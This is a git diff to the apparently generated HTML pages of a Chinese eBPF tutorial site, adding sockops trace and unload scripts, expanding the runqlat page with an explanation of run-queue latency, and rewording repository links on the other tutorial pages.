zhe|AUumo!EYy^`w^ot2^noCPdpY+nwF9lkK4~k3Z*GYZ%-QU}l=U}${(ukPY{Fqp8 zdw@1gbRR~#DAUK-@s~y_Qd)uUDkbJC)f|5QHlq5B%WY1sb$2cDgR=xn0+E^I4 zn+S=iG=b!prrLcwduq}Q^J|Z z#s+>X@{B^@Ew1v~M3yv2-`TqH=41MSLpspJ}pskq=3H-mmpW6^(&8z_#K6{bZ><%Ch-ZfERkXCWrj{Q&cjoE(X!6pM z2ZgG$fb$P5Cyu;g8*>^|X7FdBJH}aY5$LCEH?|YuE1aWF_t^Uf77Q;}P||p7s$Nsk z3wOF${pBydIl7J`3Gb5ut%9O+FIC<@Q1cpN*=LaXUeiBP(PduKpwq@uzFMX4N8@n4 z6QRJdT?LgmCc}X%29!z*{n`g+ewBc%^ev2tX`JRCR!^xsEg=Et8AFT!E7#mM;90aV zxy0S3#C}TtoE=M&0&SDp)r%1x2PX_gbLdN) zKhKt>0H%2YnZ7s-&ij}>BD8T-I&GC=uoQ;)+9h?FFmya zl{a7Y7M)sI z(j$y=mBku5`DZgaC=yrKTO(mLW@`$SPC!IRXF3ZXDD#C=|MpKz!aPs6`iuq_Aqdnz0n&km^yB5trSWw`ooGj7 z#(WQ;!Wt-4>a75{x~Q>(Kg9+q6fPe^;PNm-0n5+NgKe*zp>A%~<7#8iyrLJC(mvy(^GX;FW$eQsida zw!9eU+#l?`MkS#-V(Z2-=Mvk2M)!~Vry@0u;Bu4N$48-+d=})!01g9|<%^el>qJZf zHMyIie-^9tl-EyoFj>DrFi@vpe}}z1u|xuWvzHn77a5l+3Alv)Wy`&%JL9ULe&7j| z0d@kx$?rMFov>+j3aMS`#ta{83tpFHhVh?QXZYrLB~WArOf$>Fyo7|IG0J?-@Ro1a zoH^kW*x*&f7HNOCra5G{V86shb*srpAFZj3_Jb-1(abQ0Y-()r?vID`?g04RWvh5^ ze?Y0s^3q$GQ&_fF&yt4zx{8R4U+Oqo{E9_HCemo!jBmulNMkZ!N!j>QPf9Q=0{gtXp8r$$r$oPQ*SU=!N_u2J^4X6qpV8n?AltFm z;0FUu)x@cI5z%JI=e*9OZSMYR_tCnk?mKQS*9$Dn@nWzjjdcB&lT585)+jrdKnQ_Or|d|eto#J zxzuc&>ax{C;&b-57@Q^$kQGLMecQ=XW?#LQZ(-2rXn8t)7!1aKGmZmtkw%D#QLT%V z_pORp#b?DTcC&rZXTYU(p=`vWVND>0oO<_#Xh%HW5^?PDxG1q2X#!`5p?!zEZ>#`5 zf61-S51jfMwvdX;8QmZ5+;DK#HiKU%bM7-XdIX_HKD`UE z(*|>jHi`3IJfR)~r7o?YCP??z7ax}j1*AaU1Vk^K=Ti~>mE~>i-q+lNk{ie>v@u*4 zb7Zpr92owYB!1^QjhJyX?)I)gS?7i$bHoU;7>Ji>uKV@@qjE@d`Hha+X+(l84o0!{~eTA_^;s$*7*yn>`- zS|FA}%<=3I#rI9>{0)&uOjJ9Pku>n*sb8OWdH;ANffNKBvx-wp&s@5`dcAgip=69J zjv?oHwWi5w-eywM?JM`N&C6W5kUS2}H;eN1U3nFBr_5E{l_ z9Q=rmG?uV%1L{I__7`g%Pl~DH_q74`B zixfk?oiFtFTqdtHK_EfD`9>kLmf=G34$HTkY;=w z!b;SPIZJy0zVc=xR_U+f-26@FXI+QBtrQeIkok)%WUN3>C|>sSmCPnFu#q$EJ=CaVzvHKtKeYB z6L8oeB2t=2q}@x$rzf*_O5H{*kldXy>JyyCfjHeTxVooXF(+;0giRnyVCuC&x-MP- zhDrUvS(v=?2?>FVVOA01oLi_lx#^bd0aFovZ$D%b&DsdRJL4zk! zpi{ndX%L6QB@`^`QlmKVqsG+!V z9H>EwXV1|YshWNf@C2np=h4d76#DrC@zmdlRfh=<;}9Yv-Lj-{P?&p2rEq68E(j^e zB!`Kf*z+qx-TDi|XcG_{jRXZQ?eB_tL+m5*E4XJ!JrmTLgAy$M{oU)H4eya=@MAhU zxxo%6wCg;$aAEjI%$k0SzrUKW8sjoFbQRhz$YyF^?69EWfn`8$(8(}*G^M1VjZEI9 znn5a_^p0QZIPP%vt~#IHIh%_l#<aAJG~qsMz|H`7!Q z?8VRQSbdFCyOWY3PClgJA?4L}4b9^eRe1r{H0?fg8_~{)v$$=+ zi%?@iFAli~D^a|5{zlE95^0vgB*P`3IPGL3L{J1)o29avU6+a*;qc`pz*5%n0?h;D zLpJMqzef)dHIahT{JbznqAr|6)LG-n-jqU(sCUr9earjRTdi(M)5!CalyH2CwPsTj zH^{Z$*A`sr|NHTY?{Xnq&6a1RV=H%drd3A*=kJW1Z6h0nkWFERM1#5BLR)PoSw1^h z2H2iKP;Ag#61=}Xk{m?owU$OHztYrS<_Q51!ZUfPFfynudnQvVJjPVmR22wX4!BjX zJSQb$V#-Mi%^z<6FBWBXbrMw4YGb&AD3!c;&oNE4S~lkq1^V^BWrg6 zF4ep9=dS8G(alxn*k;+ezG7G1kwUNi>|iw4IjCy~Bqvqd9bN&KHS!&;vsn*Gd$Y-Bo(TH8Yucg-^_)#6px_wyY@e z{0sVcnU0K%=0c)84QzJ03oC%M@(iL8h>!1boq$hIv-30RY&$45BG_Ph$|K17&W$&` z7#;HrBcxbQ?hr~OTz2{j>o(%GVw5kTBro%`lPn3hJ1FZi$y4q#eB*^tcY(Y=&sxc* zl2YKN`wEcl5`RD?c=~bTxu;lLM2%YZReyPZ6;bnn$f`x<{sF(^tGvSsyYasIymu9; zkk!D8I2n%CY$-RFC8A*vMN4113MY8sMnkPc1v$F6<( z(oc$;pG=d(cbKB9cgA`5Z`uixj?i+>eqVWO`cioO-iUTh-AdM?@AvJy<^b&}#L5~0TQ`r)Q`tN?VY>O!Gou+WBI1&ZY%=8+ot>dOyE3r`ZraXRDt zi82DLG7PsOiTVV1qp2s!OI#z)9BJ4ogok%HBtkf|H_>quigW^18N0X?sxbYLU8QO9>YvLb>B!^ zCVg>wr|Y>fH2P9f^f~knnjmoLLWh|%RwP<1{k|vTf^Xfr1u5_T_SLSQCbHcGM^%51 zrny^CV8McU@j&;yUu?Qzdj4^<^f#si>7dv`WlRH}5!h6=S0mCnN>1AlbEJF9JD&|% zWz#({ED@+3c+S%UAw)aU>pPUh)*{~qZV!w|t=NO22s3l~(1 z+wSvP@(w&Dr>uLMgp{gPT^e}#?nUs+>J!~t>EC-}^|k6J&f_Ocp{b|`4ZC*w+L7lS zwOQ7GR<+7ikwbw$5zTX`BWylF^cyrQ0jH_?&kv+!ybRalRIh%9?{}$PjPBerL75A^ zjmJ30mElkjM5nQi;N3xO0U;C28%3m0Xacc?WiI6dhGI8x0)MoTE7uduIS3F+`dXid2PS!H_uMpNlJ zi31e&Dh$n+&4;dUz0ZvmD+>Aa`NZkJG3pmDMC_+NLJ7ahsL?3x*iU(c+0VPo;vOl* zCaCiLOTl(LW%EuQZXSFre82Xt&`b?5)vutt-=crU?Qh;q9bXAxBL;PCTpzJrXQquB zM3UjL=t=>ZgjG+IKn3UCD?;XKcJPa-R~;l?F34`V3I&WT1SN3a@e=foobA4Zc6VDn z_csQ0GuZSLmty-40Eo|Na7g8yfz`Hv0TC(a<7Dp&uto{7kmoujiw23<)w?b4$YLM<^eqaeG1UR82%6I~!s+ z)5Y(UCVIoi(JcbxPcPgx?PO-W%tLOpTrmu>wc)iBk}X3tVhEL_>TTVSqd(rYwLTom z{j&a)5`&&Q+=+a!rRQr!6Khw?yY9EJ2V9uC?Vf-l6mL$FN~-(LoCJSe#|u>8eBhV#N0n%D)} zazArHR!a|0zP0@bWM(&GU%6psR_NvTeDd(?K zt?B6)42CgwXJ04n-k$_Y5O?;#`__u1?4yL5X93DA`wA`@g@8-pzO<+W_n7-Wn^7RZ zVD3-&Q=LBVO|c~>VM@`|6pTE*0FBvmVKQR-Zu|#>9G{9z8FEzZkcRY$03Oe7*N(nl;j456P z!v&<9VCcDd^O^zsE2ujGCEI{q-wL=;x}PQB%pU&xyBi8hK7T|+#}{;BOpI=r!+%EX zU1fc&XzT}((ceG7gE)R1*RNH^ZcUs+lux6`+8l1 zPUGx%J_h~Z8!B5>@V1 zyB7EEvFnf*02chTRzRHfag$#%aP_1x&hPB6e38Im^=|M+IJc?L2pOlepflfCk;SMJ zL|R@}Qo?CtO^SmG*P!i4#*bBRO{KTS3+m}U07bJmWkdFM7;E?WW2aE+HKg+j?!?L9|1B%cpM)EU%miRJis+5o=g zPPF{2!VH$d?UCbM9dJ$9zcs^3;*hsZ;L^bGipg9^%pyA6*#f-q{@{a_Bhc_w|2?d%++g2lti@T#t6sc7m7-TQxp-5o#WmG zOs$=m8Vz(gULE-wRinQD{+Q5i*$cn3BGL!KeDL~+S3-9xMk6_&9Jv@oey{@4*^2y6 zR!_UYnh2LxuQ{{{lRZ1KHSKM9-{d?6-}>iAp&3p>vJ%?@r(|1W6ozloOaXZM2^;+L zNq88GdZ$t4?)pG0s1$4dvjx$2_@Qmpz57drvNbseXB`JmHZK6Z#`CPdcs$Y}Y*hhoPv%zN1$E$p-dvA$1f~EE z2U`TnYG_i$e8UZF7tUDyPzq1jpqm0@PEDoB-T#gkiDKk+1zkNKT%b!BPgIw=gS<%{ zBmrOfciz)L60RD(0SLuO!CwI6*lcUnZ$#PJ!~;D+tTlbgjfYOA-Om>tw}gkvyA7KW z+5t@{9ppIASR+{+#1oPELN5NPDo;^&2b-gKgUkKNv$=X9L&Z*}MGs~><5dh*OEbYC zBfdF=p0W_0=t*!eFtq~DxiC6sw?LavU4bcZ?wUPdNHJ5S3Y|CaTfLLZ86FZ?Ue#f+ z(A-r`vf!@QLVw9CGa#vgPs)>?gRT3g6p)dzx5<1Ft`(C>4nv>4TLF9fsXn<;b+1Di z@B-{hr%TPglh)U<^lPmTp35ldZwyT;(&de=DJGYM+sOw;O8ZTv-c38f8~D*5RNd(n zOYJ_Wk3885jLi4m;ygb8n-3TCeWP$RaP6=8c#J>Gy2g-k}SMexnBuPQ_10uv&;LQ#iC@Ox#Ve zR@h2`dnqau{Q=*fWKLG8W;g}~Z!;@LJO$uXH#>b8d6auWGlDPvTa(F8dj+Zj0m;0T zyf)vQ5{7&30?+%DL0fK^|LfgwYUK-kEV-(yi03plkMm4~a2sl*eQa6%QXjzz0(htnx$t}*s?xLd`+$tn_mg|g&WWHI++^er;10L&fH;@FcaCO*YTh0%9E+z zq|i{{VyTIDhb#RBJL7d;QSe;{PHnSK&#f5(+YUAuOEDwJ$QOZsKSuMxnPNR4fKoI& zwK!U@sUmJ!U5OT?5sIfR4DZcQ4GG2&-_O(Lxt(3=@^%&S*XiP+emZZbY)D*s@}Z9( z9?yTmPZ)V^`ILyiW$H`eF&PqeMTFtnWwqNTZ^FiBjQ|dB|A{A3;^rqi9rpeBjfH?S z;L&Ge4pyMWMDr`%t@;*xf(;v2NXwoBr7Cgk$Y$bh#GgeAWlunj+V!LiZYclCv_MIk z#OO$BJ>b{XIp>f^OyitkMH*HE){Y>6Y1xf2==VPf2(guP-==tJX-p~drip9iQbT9d z%ngVKUa+1;>bOwjQhv|~<@u`)Pc^abE;N1)q-8X%m~c(yDX6n>ehg7RO_Dmng{3p- zmP{YrF>6gsI2eH}T5?3gQ#y}6JNkhwooIuOt?)(0(GtI zp=Hz^5co>+`4OCz;~RVM$#^c)^aKT%$~haRH_v_QyIy z^W7iL$(oFKG;#}mD;F<+O%|_m3R&-Ni$yiFTKHw@|0R5+hUgFbhui87OGiL-L8AHQ zEImY*eAFa;p=9y(i&fajGm3qBb|Ch!3Zx1K8jbwTUj*84T(?8SC+y;P;d#)fL@m41 z1JLUwgy@&L;XKPS)Cr;G$lI@n^>^z0(IBdqmjg;#%+_N$ojlOR6n!z##?&-q-Qf~7 zXVwnjz&`Ue;=O!vB^H)Y`LlAM@-7`IQvIG^XZ;10MxYYW#Fm!_a6C>pQv-E5{ERUU zX=id%ThRo1XGiE{hB^z+G#+U;aK&*{hZ78@6Qybl`Pq6Ryq8Mj% z3&WwE^}qL+{ZkC8@`hzl321=gjOj$c6J~S>H;_V&Ch$_~PMK}0uMsowPmKP+E4ts4 zFRq?oyG|MzQQrI=CipznLm?IE2s}4?u^*66sPk9i4Y11l9C#Ve)GX>3eq$K8lz#y} zCS;V}(vgC8XP@&|@c)t5I8DKiWxgB;1oCWurWR5kE-i}ZKvcmcieed>2@;9O+ueDM zi4XM&NNW?t<8e+DTq9K1;Q_vTCRQ% zE`^YsA3+s?yhYMoo8l{dE5l0N>cY<>re(kJ_7mGc14_wFLS4<3Gh*RskS+z6?na`0|(XBOHJ!KU}J7Mo4S7YmKzA0 zRs$Mff)Aff0_Ke+E@EEbzAE$Qz-NjJ(AU6RkE$mA;P;fqswndJVyrv@>{M!y0k zhI>=E|^x4X|Vr(zo6=gv-j5nTDb|Xj%0mQkuPaj=FSDDspxGq z-qyjT!N;t~!9Z4CzFW+!{39OadwP!Ky&x~kzuuquVqql9m3cwH{)J<+m?&2mAqaRv zddN8(Li<$O>$by~%7I)?9m*vGH1IS3Qrt84d1-)l z@&JWrAhf2|%P)yhN7~5@BO<&VB!z7f$mDDNlNO?btTyp19(408LX%l>DnBl{TN3pe zK!pHKcU7<`R=fYK2<6(x=?@|?;v;Au1f@tX4qF42y;4 zQz2*%IA#K0Ea)H(F9^?w(#KySHi4s%v~Eg?LOO@V*hdoL$Ki_1*1BIXQi7k(w2BuAc{E&T%e#3Wx$%{paWu_nI z&wJ_8+`Z8S@5#_T?o*QBQj9B9cGBxd2EaaI^6fB0JRibI(lfp^|7KzKtqM>3TPDza zE>qb)S&&_a;l8RJ9TmtuCqG-No0e#?dG@8h$2!Ql?Hm7WuKU|8xnX8#3 zR)i&^6KRq#X)W@>O4Lm3{*|J}n}=2P|lAJRobidH(#c(`9ssXk$DxMZlL zt+m4$H#?y^rovm=>LxeamS8bey7_G-_nK1H9_sMh$Oz862cZuBvqed%?@jNGvN!1r=_s8@5`}z6HKV@cBUaLP zYu5&-WoqW-BL_{lxxlu<*iRjrHw|5J>RSaNzQ(-ikQSB+fdOU=dn&ufEp6*~-B^6f z!(d^uOpPcm{e4l@(2p+Kh0?p0rA9t(2ZC3AD0q>NN?Yc$=ZgwdB&WL@3k~x&G)kl1 zPxs3AT_@RAsi@SL-q=lF16T;StN6dWsv|8WUz7hdS1dgAwCE}Ad+FL{w;@cqYCYz_ z2}ZsSH)_aJ;k>IWaaNRaobZQl3I5YYUWM~nGUcP4|Ne{eJ3Odaj#rHG!NWh~QwKXv w(V9SSiXZ4r$_jv&edllu2jA+ME~w$^ZZW literal 0 HcmV?d00001 diff --git a/29-sockops/trace.sh b/29-sockops/trace.sh new file mode 100755 index 0000000..4589b36 --- /dev/null +++ b/29-sockops/trace.sh @@ -0,0 +1,2 @@ +#!/bin/bash +sudo cat /sys/kernel/debug/tracing/trace_pipe diff --git a/29-sockops/unload.sh b/29-sockops/unload.sh new file mode 100755 index 0000000..32d8659 --- /dev/null +++ b/29-sockops/unload.sh @@ -0,0 +1,13 @@ +#!/bin/bash +set -x + +# UnLoad the bpf_redir program +sudo bpftool prog detach pinned "/sys/fs/bpf/bpf_redir" msg_verdict pinned "/sys/fs/bpf/sock_ops_map" +sudo rm "/sys/fs/bpf/bpf_redir" + +# UnLoad the bpf_sockops program +sudo bpftool cgroup detach "/sys/fs/cgroup/unified/" sock_ops pinned "/sys/fs/bpf/bpf_sockop" +sudo rm "/sys/fs/bpf/bpf_sockop" + +# Delete the map +sudo rm "/sys/fs/bpf/sock_ops_map" diff --git a/3-fentry-unlink/index.html b/3-fentry-unlink/index.html index 48ddae7..f0ed52d 100644 --- a/3-fentry-unlink/index.html +++ b/3-fentry-unlink/index.html @@ -83,7 +83,7 @@ @@ -209,7 +209,7 @@ rm test_file2

    总结

    这段程序是一个 eBPF 程序,通过使用 fentry 和 fexit 捕获 do_unlinkat 和 do_unlinkat_exit 函数,并通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数获取调用 do_unlinkat 的进程 ID、文件名和返回值,并在内核日志中打印出来。

    编译这个程序可以使用 ecc 工具,运行时可以使用 ecli 命令,并通过查看 /sys/kernel/debug/tracing/trace_pipe 文件查看 eBPF 程序的输出。更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档:https://github.com/eunomia-bpf/eunomia-bpf

    -

    完整的教程和源代码已经全部开源,可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看。

    +

    如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。

diff --git a/4-opensnoop/index.html b/4-opensnoop/index.html index 4b4f70e..5784cca 100644 --- a/4-opensnoop/index.html +++ b/4-opensnoop/index.html @@ -83,7 +83,7 @@ @@ -231,7 +231,7 @@ Runing eBPF program...

本文介绍了如何使用 eBPF 程序来捕获进程打开文件的系统调用。在 eBPF 程序中,我们可以通过定义 tracepoint__syscalls__sys_enter_open 和 tracepoint__syscalls__sys_enter_openat 函数并使用 SEC 宏把它们附加到 sys_enter_open 和 sys_enter_openat 两个 tracepoint 来捕获进程打开文件的系统调用。我们可以使用 bpf_get_current_pid_tgid 函数获取调用 open 或 openat 系统调用的进程 ID,并使用 bpf_printk 函数在内核日志中打印出来。在 eBPF 程序中,我们还可以通过定义一个全局变量 pid_target 来指定要捕获的进程的 pid,从而过滤输出,只输出指定的进程的信息。

通过学习本教程,您应该对如何在 eBPF 中捕获和过滤特定进程的系统调用有了更深入的了解。这种方法在系统监控、性能分析和安全审计等场景中具有广泛的应用。

更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档:https://github.com/eunomia-bpf/eunomia-bpf

-

完整的教程和源代码已经全部开源,可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看。

+

如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。

diff --git a/404.html b/404.html index 7487a0b..2fff603 100644 --- a/404.html +++ b/404.html @@ -84,7 +84,7 @@ diff --git a/5-uprobe-bashreadline/index.html b/5-uprobe-bashreadline/index.html index c98c71a..d4aebc8 100644 --- a/5-uprobe-bashreadline/index.html +++ b/5-uprobe-bashreadline/index.html @@ -83,7 +83,7 @@ @@ -233,7 +233,7 @@ Runing eBPF program...

总结

在上述代码中,我们使用了 SEC 宏来定义了一个 uprobe 探针,它指定了要捕获的用户空间程序 (bin/bash) 和要捕获的函数 (readline)。此外,我们还使用了 BPF_KRETPROBE 宏来定义了一个用于处理 readline 函数返回值的回调函数 (printret)。该函数可以获取到 readline 函数的返回值,并将其打印到内核日志中。通过这样的方式,我们就可以使用 eBPF 来捕获 bash 的 readline 函数调用,并获取用户在 bash 中输入的命令行。

更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档:https://github.com/eunomia-bpf/eunomia-bpf

-

完整的教程和源代码已经全部开源,可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看。

+

如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。

diff --git a/6-sigsnoop/index.html b/6-sigsnoop/index.html index a0eb6f7..039c8fd 100644 --- a/6-sigsnoop/index.html +++ b/6-sigsnoop/index.html @@ -83,7 +83,7 @@ @@ -258,7 +258,7 @@ Runing eBPF program...

并使用一些对应的 API 进行访问,例如 bpf_map_lookup_elem、bpf_map_update_elem、bpf_map_delete_elem 等。

更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档:https://github.com/eunomia-bpf/eunomia-bpf

-

完整的教程和源代码已经全部开源,可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看。

+

如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。

diff --git a/7-execsnoop/index.html b/7-execsnoop/index.html index deea97e..6231369 100644 --- a/7-execsnoop/index.html +++ b/7-execsnoop/index.html @@ -83,7 +83,7 @@ @@ -236,7 +236,7 @@ TIME PID PPID UID COMM

就可以往用户态直接发送信息。

更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档:https://github.com/eunomia-bpf/eunomia-bpf

-

完整的教程和源代码已经全部开源,可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看。

+

如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。

diff --git a/8-exitsnoop/index.html b/8-exitsnoop/index.html index 190f304..e4b0ea0 100644 --- a/8-exitsnoop/index.html +++ b/8-exitsnoop/index.html @@ -83,7 +83,7 @@ diff --git a/9-runqlat/index.html b/9-runqlat/index.html index fb045fb..1bd027f 100644 --- a/9-runqlat/index.html +++ b/9-runqlat/index.html @@ -83,7 +83,7 @@ @@ -148,6 +148,44 @@

eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。

runqlat 是一个 eBPF 工具,用于分析 Linux 系统的调度性能。具体来说,runqlat 用于测量一个任务在被调度到 CPU 上运行之前在运行队列中等待的时间。这些信息对于识别性能瓶颈和提高 Linux 内核调度算法的整体效率非常有用。

runqlat 原理

+

本教程是 eBPF 入门开发实践系列的第九部分,主题是 "捕获进程调度延迟"。在此,我们将介绍一个名为 runqlat 的程序,其作用是以直方图的形式记录进程调度延迟。

+

Linux 操作系统使用进程来执行所有的系统和用户任务。这些进程可能被阻塞、杀死、运行,或者正在等待运行。处在后两种状态的进程数量决定了 CPU 运行队列的长度。

+

进程有几种可能的状态,如:

+
    +
  • 可运行或正在运行
  • +
  • 可中断睡眠
  • +
  • 不可中断睡眠
  • +
  • 停止
  • +
  • 僵尸进程
  • +
+

等待资源或其他函数信号的进程会处在可中断或不可中断的睡眠状态:进程被置入睡眠状态,直到它需要的资源变得可用。然后,根据睡眠的类型,进程可以转移到可运行状态,或者保持睡眠。

+

即使进程拥有它需要的所有资源,它也不会立即开始运行。它会转移到可运行状态,与其他处在相同状态的进程一起排队。CPU可以在接下来的几秒钟或毫秒内执行这些进程。调度器为 CPU 排列进程,并决定下一个要执行的进程。

+

根据系统的硬件配置,这个可运行队列(称为 CPU 运行队列)的长度可以短也可以长。短的运行队列长度表示 CPU 没有被充分利用。另一方面,如果运行队列长,那么可能意味着 CPU 不够强大,无法执行所有的进程,或者 CPU 的核心数量不足。在理想的 CPU 利用率下,运行队列的长度将等于系统中的核心数量。

+

进程调度延迟,也被称为 "run queue latency",是衡量线程从变得可运行(例如,接收到中断,促使其处理更多工作)到实际在 CPU 上运行的时间。在 CPU 饱和的情况下,你可以想象线程必须等待其轮次。但在其他奇特的场景中,这也可能发生,而且在某些情况下,它可以通过调优减少,从而提高整个系统的性能。

+

我们将通过一个示例来阐述如何使用 runqlat 工具。这是一个负载非常重的系统:

+
# runqlat
+Tracing run queue latency... Hit Ctrl-C to end.
+^C
+     usecs               : count     distribution
+         0 -> 1          : 233      |***********                             |
+         2 -> 3          : 742      |************************************    |
+         4 -> 7          : 203      |**********                              |
+         8 -> 15         : 173      |********                                |
+        16 -> 31         : 24       |*                                       |
+        32 -> 63         : 0        |                                        |
+        64 -> 127        : 30       |*                                       |
+       128 -> 255        : 6        |                                        |
+       256 -> 511        : 3        |                                        |
+       512 -> 1023       : 5        |                                        |
+      1024 -> 2047       : 27       |*                                       |
+      2048 -> 4095       : 30       |*                                       |
+      4096 -> 8191       : 20       |                                        |
+      8192 -> 16383      : 29       |*                                       |
+     16384 -> 32767      : 809      |****************************************|
+     32768 -> 65535      : 64       |***                                     |
+
+

在这个输出中,我们看到了一个双模分布,一个模在0到15微秒之间,另一个模在16到65毫秒之间。这些模式在分布(它仅仅是 "count" 列的视觉表示)中显示为尖峰。例如,读取一行:在追踪过程中,809个事件落入了16384到32767微秒的范围(16到32毫秒)。

+

在后续的教程中,我们将深入探讨如何利用 eBPF 对此类指标进行深度跟踪和分析,以更好地理解和优化系统性能。同时,我们也将学习更多关于 Linux 内核调度器、中断处理和 CPU 饱

runqlat 的实现利用了 eBPF 程序,它通过内核跟踪点和函数探针来测量进程在运行队列中的时间。当进程被排队时,trace_enqueue 函数会在一个映射中记录时间戳。当进程被调度到 CPU 上运行时,handle_switch 函数会检索时间戳,并计算当前时间与排队时间之间的时间差。这个差值(或 delta)被用于更新进程的直方图,该直方图记录运行队列延迟的分布。该直方图可用于分析 Linux 内核的调度性能。

runqlat 代码实现

runqlat.bpf.c

@@ -305,7 +343,7 @@ int BPF_PROG(handle_sched_switch, bool preempt, struct task_struct *prev, struct char LICENSE[] SEC("license") = "GPL"; -

首先,定义了一些常量和全局变量:

+

这其中定义了一些常量和全局变量,用于过滤对应的追踪目标:

#define MAX_ENTRIES 10240
 #define TASK_RUNNING  0
 
@@ -482,11 +520,17 @@ comm = cpptools
         64 -> 127        : 8        |*****************************           |
        128 -> 255        : 3        |**********                              |
 
+

完整源代码请见:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/9-runqlat

+

参考资料:

+

总结

runqlat 是一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度。编译这个程序可以使用 ecc 工具,运行时可以使用 ecli 命令。

runqlat 是一种用于监控Linux内核中进程调度延迟的工具。它可以帮助您了解进程在内核中等待执行的时间,并根据这些信息优化进程调度,提高系统的性能。可以在 libbpf-tools 中找到最初的源代码:https://github.com/iovisor/bcc/blob/master/libbpf-tools/runqlat.bpf.c

更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档:https://github.com/eunomia-bpf/eunomia-bpf

-

完整的教程和源代码已经全部开源,可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看。

+

如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。

diff --git a/bcc-documents/kernel-versions.html b/bcc-documents/kernel-versions.html index 6b739c1..4a19435 100644 --- a/bcc-documents/kernel-versions.html +++ b/bcc-documents/kernel-versions.html @@ -83,7 +83,7 @@ @@ -636,7 +636,7 @@ kernel can be retrieved with: